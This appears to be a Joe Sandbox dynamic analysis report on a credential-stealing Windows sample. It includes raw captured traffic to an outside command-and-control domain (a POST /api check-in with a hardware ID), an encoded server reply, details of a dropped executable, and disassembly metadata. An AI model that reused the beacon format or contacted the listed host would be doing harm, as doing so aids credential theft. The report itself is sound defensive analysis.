6_cE&X;)wdQSDk]#yJXm:m&664/6M>UFqt56Me_'/XAxEkP3#hVUaN]a8<j,@<or/+^XgygN6C#99YnZ{9Eh{Z}U:o,Bm4)
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: b9 59 7a 82 10 ac 38 18 16 db 2b 52 a0 3d 22 0d 26 ee 9a 86 67 a7 a6 bc c4 ce 0c 8e 97 0e ea cb c7 84 3b da 1c aa d0 bb 86 29 07 da 35 ed 87 23 25 d6 9d a6 bc 18 5a b0 42 f5 26 63 14 c5 73 13 3d 42 96 04 cb 4e ea a8 06 5d 2f 20 74 41 c4 2d ba 6e e9 a9 4a ea 77 b7 21 96 cd 54 fe 62 ca df fa 0c a9 36 dd 37 f2 60 f0 d2 48 21 f9 fc b2 60 b1 21 63 f8 5b d9 41 42 6d fb 9d ef c3 48 87 fc 15 50 1f 76 d5 e3 d7 90 c2 a7 e1 cc 6a a0 1d ae 9e bd 0b 4d 6b b5 2e 99 e7 6c 3a 7d 94 a4 01 1c db 55 52 e2 31 e9 f1 a8 dc 51 7c e3 b7 ba 9a f7 8e 1c a7 47 9d c7 9a 4a 1f 08 15 86 8c f8 66 4a 5c 89 a5 da d2 e1 b7 2e 8d 97 2b 90 7d 8e 9a 8e ea a4 ba 77 7c a3 d0 ae 0a 7b 24 7f 99 f7 ea 68 d9 64 fc 20 b9 d9 46 8d 72 aa 9d de 60 d2 0f 89 f8 50 b4 d8 c6 43 1b 0b 02 8c d1 f7 0c 9e 35 Data Ascii: Yz8+R="&g;)5#%ZB&cs=BN]/ tA-nJw!Tb67`H!`!c[ABmHPvjMk.l:}UR1Q\|GJfJ\.+}w\|{$hd Fr`PC5
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 33 2e 80 9b 9d 2b d5 2a 69 db 44 e9 27 a0 b5 54 ea 6e b0 95 a2 b0 e9 51 32 a8 c9 b0 5f f1 f2 64 be ed 3b c3 24 e3 f1 76 9c e8 54 bc 6a d4 8e 3e f1 41 ed f5 76 19 a2 3d d7 e4 28 85 7d dc d6 93 da d7 12 38 49 f3 f9 72 0c ef bb b2 ab 4b 05 04 1d 51 4e eb 78 d2 60 56 8e f2 51 46 43 58 05 f2 20 ac 70 05 40 4b d8 43 2c 51 f0 83 b7 ed 87 70 0b 31 d8 0d bb 2e cd 41 d6 58 88 a0 47 22 83 a0 eb ee 2a 8d 7c 90 05 b0 57 a1 1c fa fd b6 94 e5 38 e5 e1 59 c5 07 b3 28 65 97 61 76 1e b4 b2 57 88 b9 cb 13 98 62 af 8d 60 99 73 fd 77 77 ef f5 ec cc 15 af bc ba 1b 93 ee 56 c7 1c cf 11 9d 72 4e 88 17 0b 76 c0 cb c8 f6 7d 4b 82 8f 6f c6 ee 68 96 5c 74 d2 23 48 60 2e c4 3a f6 ad 32 02 fd 75 ba e6 6d 2a ac 1c b2 3b 41 b3 e2 e8 f7 1f c2 09 3a 90 ae a9 cb bf 40 7b 03 b5 71 a7 67 fc Data Ascii: 3.+iD'TnQ2_d;$vTj>Av=(}8IrKQNx`VQFCX p@KC,Qp1.AXG"\|W8Y(eavWb`swwVrNv}Koh\t#H`.:2um*;A:@{qg
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 86 23 2d 88 8d e7 6e a9 62 58 26 7c 76 df 6a 19 1d 41 b8 42 49 2c 02 01 b8 fc 10 00 fd 1b e1 ee 61 d7 51 fe bd 13 cc e6 89 ca b2 a7 09 28 f4 eb 8d a7 88 cf e0 00 cf 08 d0 64 30 cb 60 f6 d0 dc 63 87 c8 30 1b 88 f6 bc 3c 81 25 fa 13 6e 82 c5 88 47 7b 8f 02 96 bb 4d e8 88 20 08 d4 5b bf 2f e3 29 5f ac 43 80 04 e0 5d b0 05 c2 7a 31 c4 dc 91 62 69 e1 56 7a ce 83 f0 a7 eb 7e 61 83 82 be 87 97 6d e7 2b 7b 76 b9 49 fc cd 7a e2 75 76 ac 15 dd 6a 86 bf ff de b2 0f 78 47 f1 4f e4 a8 15 3a 89 00 37 25 bb 41 b0 41 8e 0a 90 13 67 9f 55 64 7c 11 ff 02 79 47 69 14 94 49 41 d3 9d 4b b2 b1 8c 9e 12 9c 6c ee 19 c4 f0 98 28 b5 6f 7f f7 4e 30 39 a2 84 63 9c 96 90 f8 53 9a fc 4e 94 7a 82 48 5c fe 29 d5 2d 02 84 a5 a3 6f 7d 85 e4 ae 17 b8 11 d0 06 7f 67 d4 51 d4 4e 2c 6a 24 02 Data Ascii: #-nbX&\|vjABI,aQ(d0`c0<%nG{M [/)_C]z1biVz~am+{vIzuvjxGO:7%AAgUd\|yGiIAKl(oN09cSNzH\)-o}gQN,j$
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 37 93 5d 17 5e 4e d9 bf 3e fc 05 fb b3 78 e9 ca 73 41 06 9b f3 3e a7 fc 1a 55 44 40 78 3f 73 ed 25 21 ba e7 6c a2 94 eb dc 5b a7 7d ed e1 c5 3b ad e9 ab 37 db 0e 61 2e 3b 22 5d dc e5 44 cc 8b 95 d7 25 f8 38 46 ed 2d bc 6d aa 59 e7 f3 b3 8d 2f 56 96 ae 15 57 dd 77 d1 89 ac ba ba af 6a b5 db f1 fb 6e 12 8b e6 34 0e 0b de 87 6a 9e 04 bc d6 79 fe d6 87 d5 43 65 3a 4a 95 da 7d 69 a1 fc b8 bb 45 96 a2 fa 1f d2 e7 41 ff 7e 77 4b 66 d8 cf 57 d6 91 ab 4e cf 3b 87 73 24 22 57 5f dc f6 12 84 09 ad 3b 33 27 4f 7f 71 30 ed ff 5e 3a 9a 6a 2f f9 c9 ec fb c1 8c ec e1 38 e6 ec 95 48 53 46 8c ec c6 57 a1 96 e3 0b d1 0d 45 6b 0d 6f d7 1b d6 ef 4d 9c 70 7a 27 1c f2 d4 06 e6 5b ee 8e 41 45 a9 6a 48 56 33 71 1b 57 e3 0a f1 12 cf 40 4a a8 23 b4 b0 a7 e0 da c6 29 bf d1 27 55 39 Data Ascii: 7]^N>xsA>UD@x?s%!l[};7a.;"]D%8F-mY/VWwjn4jyCe:J}iEA~wKfWN;s$"W_;3'Oq0^:j/8HSFWEkoMpz'[AEjHV3qW@J#)'U9
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: bd f7 68 a3 f2 24 7c b0 09 a3 01 9d 7a e3 2e 00 bb 7a 09 57 d0 88 20 0f cb 2d 34 d7 84 d1 15 5e 6a 38 ba c6 54 1d 74 f4 6c 54 17 7c f6 59 9e 70 84 23 86 3e 9f 2d d2 78 07 8e 95 35 59 1b ad ee 50 95 27 63 3b f8 21 27 0e 34 35 96 ee e2 0c ac da 2c a7 0b 03 89 21 d8 6f 07 a5 bd 38 bf b0 e9 09 b8 e4 6d d8 da 00 53 f3 28 ae 88 6e 53 40 93 65 25 08 62 cb d3 fa 82 f9 ce 4d e5 c6 e2 6b 11 f3 73 3c e6 8c 88 e4 2d 1c 30 13 33 cb ec ae a1 8a 3f aa 3b 37 e7 e1 d9 80 35 c5 8d 2b 42 79 1a e8 f1 98 14 be d9 8a 23 8a f2 17 5c 22 36 ce 29 13 05 7e 0c 9c c6 b6 d5 5b 7b c1 8e dc bd 91 64 6d 93 2f 3f ae 28 68 2c 3e f7 84 92 6f 11 26 01 06 ad b4 3e 38 06 aa f1 b5 87 61 ac 86 1d 14 c8 c1 cc 81 fe b2 58 e3 14 ee 39 66 c6 55 f6 5d 53 42 0a 26 28 86 ce 04 84 f7 64 2f 7c ba a9 5a Data Ascii: h$\|z.zW -4^j8TtlT\|Yp#>-x5YP'c;!'45,!o8mS(nS@e%bMks<-03?;75+By#\"6)~[{dm/?(h,>o&>8aX9fU]SB&(d/\|Z
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 34 51 5f 43 c4 63 1e e3 dc f7 00 ec 42 83 38 10 9a 8d 18 4f fc 1b ca e3 f9 c0 c7 94 8e 70 ac e9 52 2e e4 1a 43 ad 12 a5 ee 12 2c aa e3 61 dc f2 c9 26 7c 0c 5f 3e 8e ea be 3e 7d d7 74 38 31 08 c9 d3 68 ce ba 79 4d a6 25 aa 30 21 08 71 92 31 e6 c9 2c 3a 9b d0 16 40 da f8 95 97 d6 a5 b9 8b d0 f8 db b2 f4 d3 50 d4 a2 da 6b 8e 18 67 df 52 9c 5c fa 3c 0d 11 9f 35 62 99 e7 e5 91 37 6a 5e 83 c2 e1 16 3c 7b 95 1a f3 3a b8 dd 92 44 02 21 84 03 c1 ce 4b 12 33 51 99 6f 99 3d 50 d1 8b 06 75 c4 a9 fe 8c d3 02 0b fb c4 d5 c5 63 7e 22 71 83 b2 f2 43 51 ab fd 07 3c df 61 4d 15 88 4a ae 91 f1 91 ef f8 86 2b 40 fa 92 6d 9a a4 50 4b d1 cb f6 2d 1e c0 0e e6 1b 74 8a 4d 86 b7 36 89 52 c9 33 6b 67 40 db 21 6c 2d 97 64 fc 6a 6c c4 63 71 2d 7a 31 15 a4 9f c4 d3 8c d1 4b 36 82 a6 Data Ascii: 4Q_CcB8OpR.C,a&\|_>>}t81hyM%0!q1,:@PkgR\<5b7j^<{:D!K3Qo=Puc~"qCQ<aMJ+@mPK-tM6R3kg@!l-djlcq-z1K6
2024-10-29 03:52:40 UTC	15331	OUT	Data Raw: 20 5c 5d f6 b7 95 63 dd 39 2d 82 ff 05 24 c5 47 21 87 c2 7e 1e 32 9e ff e9 af 19 0b df 3b 4c 60 18 00 ba 9f 2a c3 09 49 16 82 bc 0c 3f 6f 77 89 09 3f 51 e3 cd b8 86 81 a5 ff 06 57 9f c4 a0 b1 75 f7 bb 18 8e 7a c1 42 c0 65 5f ac 16 ea 2d a1 b4 2b 5e 92 68 84 d8 b2 39 f3 3a f7 72 4e 2b a4 89 a4 be 52 8c d6 f0 21 2c 6b f0 37 1b 90 16 34 57 47 28 12 18 1a 20 b6 77 96 54 0d 19 8a e1 bb b7 ff bb 6f 7d b9 69 65 76 1b 4f 0d 8c 9a d0 1f 1a ac e0 d8 db e9 f4 93 80 b8 3f 76 e1 ca 30 7e 63 89 6f ad 82 01 3f 25 c5 12 bc 01 02 f5 ef 9e 33 a0 73 17 7e 7f f8 4f 39 d9 c7 75 ab 9a 64 04 d9 08 59 3e 8a fc dd 4f 92 8e 75 22 16 00 e2 6e e1 11 77 d1 25 3c 4f c9 70 99 8b db f0 b7 d2 74 52 88 39 01 c9 36 5c 0c 0d 7d 22 fc 1f 19 c5 da 1b 73 59 c2 2a 75 d8 ce 44 3d 36 c2 08 eb c0 Data Ascii: \]c9-$G!~2;L`I?ow?QWuzBe_-+^h9:rN+R!,k74WG( wTo}ievO?v0~co?%3s~O9udY>Ou"nw%<OptR96\}"sYuD=6
2024-10-29 03:52:54 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f3khrvm07f91sp4j555vhou5dl; expires=Fri, 21 Feb 2025 21:39:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Qka6O5TCL1MZs9HCr2IadzBX64ILJjQBLbkZTprF%2F2hGQp4Lb4Sj4TWgoi4JVSi%2Bi8M2IkQRnCbehQRI1w5x9z4xvjgZwkuFQzzjxM%2FVjRItQ6OEfOfgNk0A8vgSeK1N8IH3WY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da036d6d8ea6c51-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1270&sent=221&recv=612&lost=0&retrans=0&sent_bytes=2845&recv_bytes=571121&delivery_rate=2257209&cwnd=250&unsent_bytes=0&cid=36ec86ec881b5707&ts=13572&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49907	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:55 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 03:52:55 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 33 30 46 33 46 32 39 31 34 37 44 41 39 35 33 36 39 34 38 46 35 31 41 31 38 34 45 38 45 32 37 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=30F3F29147DA9536948F51A184E8E278
2024-10-29 03:52:55 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcprodp9q59m81md7rcjjivh7d; expires=Fri, 21 Feb 2025 21:39:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u3RR4iMkun0KSbOVkaNW1Efn0emYyAEVp4xFXhxQKDeS3qL2Ni3aZzMY6T%2BXdFYB4jqfzxV1I%2FlXj5%2F68eR3QnNUEs82L%2BEgSXwLPyfwLOROg71GstyXcjam5xKdnM5AEwiU6p8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da03730ede64690-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1953&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1433663&cwnd=239&unsent_bytes=0&cid=4d28244a26193931&ts=479&x=0"
2024-10-29 03:52:55 UTC	130	IN	Data Raw: 37 63 0d 0a 48 31 66 68 31 69 44 37 30 64 6e 51 50 55 66 63 6d 4c 6c 61 5a 47 6b 6c 75 46 42 7a 73 50 6e 6a 49 6c 2f 4d 63 4d 6d 33 6b 78 52 45 4c 4d 4f 6a 41 73 48 7a 73 61 52 4a 4e 2b 62 45 6c 67 5a 4c 57 42 32 4e 66 6b 47 42 7a 4d 30 54 62 76 39 65 2b 49 48 50 4f 33 41 78 68 34 6f 50 6e 37 53 2f 2f 6c 67 2f 75 62 71 56 65 41 49 64 42 34 4a 67 58 35 4b 63 77 52 68 76 73 53 30 3d 0d 0a Data Ascii: 7cH1fh1iD70dnQPUfcmLlaZGkluFBzsPnjIl/McMm3kxRELMOjAsHzsaRJN+bElgZLWB2NfkGBzM0Tbv9e+IHPO3Axh4oPn7S//lg/ubqVeAIdB4JgX5KcwRhvsS0=
2024-10-29 03:52:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:52:00
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd20000
File size:	2'994'688 bytes
MD5 hash:	8280E9C803DFF5258A0C452549B5953C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:52:58
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe"
Imagebase:	0x920000
File size:	2'838'528 bytes
MD5 hash:	473C91C8363CF492CF6192686E4AEAE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0169A2A0 Relevance: 3.1, Strings: 1, Instructions: 1831COMMON

Download Yara Rule

Strings

i, xrefs: 0169ABC0

Memory Dump Source

Source File: 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, Offset: 01696000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_168e000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: d8c3d790f22d7d4fd41a79b62e313dee2b2334c4639ea291110a2c816687939c
Instruction ID: e7ce188b1507c5cd054471e378911e38dd54888979fa12e1b9483fcbfccfa910
Opcode Fuzzy Hash: d8c3d790f22d7d4fd41a79b62e313dee2b2334c4639ea291110a2c816687939c
Instruction Fuzzy Hash: 4892B5A684E3C18FD7078B749D65640BFF4AF63218B1A55DBC080CF4F3E2A9594AC722

Function 0169A2A0 Relevance: 3.1, Strings: 1, Instructions: 1805COMMON

Download Yara Rule

Strings

i, xrefs: 0169ABC0

Memory Dump Source

Source File: 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, Offset: 01692000, based on PE: false

Associated: 00000000.00000003.2331129832.0000000001692000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_168e000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: c4722d32888f87eb11e41ca3e0749dbfe5b1e2f78a16642cac7e8e3a19828659
Instruction ID: 6454677a93d74289fc6e94307437cd18f36543f5a8e3dc9488034804c163a299
Opcode Fuzzy Hash: c4722d32888f87eb11e41ca3e0749dbfe5b1e2f78a16642cac7e8e3a19828659
Instruction Fuzzy Hash: 5292C6B684E7C18FD7078B749D65640BFB8AF63218B1A55DBC080CF4F3E269594AC722

Function 0169A369 Relevance: 3.0, Strings: 1, Instructions: 1737COMMON

Download Yara Rule

Strings

i, xrefs: 0169ABC0

Memory Dump Source

Source File: 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, Offset: 01696000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_168e000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: d164561e2891ba7708eb9057a3a68a94904d898f5b2bf6d151cc398434752d13
Instruction ID: ec02963e605a038b3dca732d123831068fb6e9fc6660ab1f57b1ee6ba1c38c0a
Opcode Fuzzy Hash: d164561e2891ba7708eb9057a3a68a94904d898f5b2bf6d151cc398434752d13
Instruction Fuzzy Hash: 3182A4A684E3C18FD7078B749D65640BFF4AF63218B1A15DBC090CF4F3E2A9594AC722

Function 0169A369 Relevance: 2.9, Strings: 1, Instructions: 1664COMMON

Download Yara Rule

Strings

i, xrefs: 0169ABC0

Memory Dump Source

Source File: 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, Offset: 01692000, based on PE: false

Associated: 00000000.00000003.2331129832.0000000001692000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_168e000_file.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: 561520af921d38c153618691092ca791abd5f5e2179a579b47fff9e540698f3b
Instruction ID: f9d3c5195e78730023c7c689ba0c82127ce9d2742e087f83581dd2c227e73c7a
Opcode Fuzzy Hash: 561520af921d38c153618691092ca791abd5f5e2179a579b47fff9e540698f3b
Instruction Fuzzy Hash: D682A5B684E7C18FD7078B749D65650BFB8AF63218B1A15DBC080CF4F3E269594AC722

Function 016A16CF Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, Offset: 01696000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_168e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5d23dbf9fe296d83fe92c301c85d89f8c7b395534f8f3018db1c567580358
Instruction ID: ff2e75d9284528c37e0a3dca0d2999a90aaac01cfc1d276755a7a00c570b5951
Opcode Fuzzy Hash: 07c5d23dbf9fe296d83fe92c301c85d89f8c7b395534f8f3018db1c567580358
Instruction Fuzzy Hash: 06214F3504E3D29FC3538F78C894A82BFF5AF1722476905D5D4C08F053E269595BDB61

Analysis Process: V6JTG9Z5Z4ZAMITLFW.exePID: 3620, Parent PID: 6664COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	22.5%
Signature Coverage:	7.5%
Total number of Nodes:	40
Total number of Limit Nodes:	3

Executed Functions

Function 00AB90F3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(24448100,?,?,000072A5,?,00AB90EF,00000003,00000000,00000003,69B42C1A,00000000), ref: 00AB91C0

Strings

C, xrefs: 00AB9234

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 8587406bf8360eff6ed9283a31107cba627f89ab0c6d21a246b9a0bed73a012b
Instruction ID: 04c9995c28c9c8041c38a0fc756d0348618bf12ae593d012b512e6f8b2a0a4aa
Opcode Fuzzy Hash: 8587406bf8360eff6ed9283a31107cba627f89ab0c6d21a246b9a0bed73a012b
Instruction Fuzzy Hash: 0F4121B660C2667EF7418F28AD549FB37BDEAD6730B30822AF941C6543C2664D09A634

Function 0092B79E Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0092B90E

Memory Dump Source

Source File: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
